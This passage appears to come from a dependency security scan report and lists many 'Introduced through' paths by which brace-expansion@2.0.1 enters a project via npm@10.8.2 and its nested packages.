  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
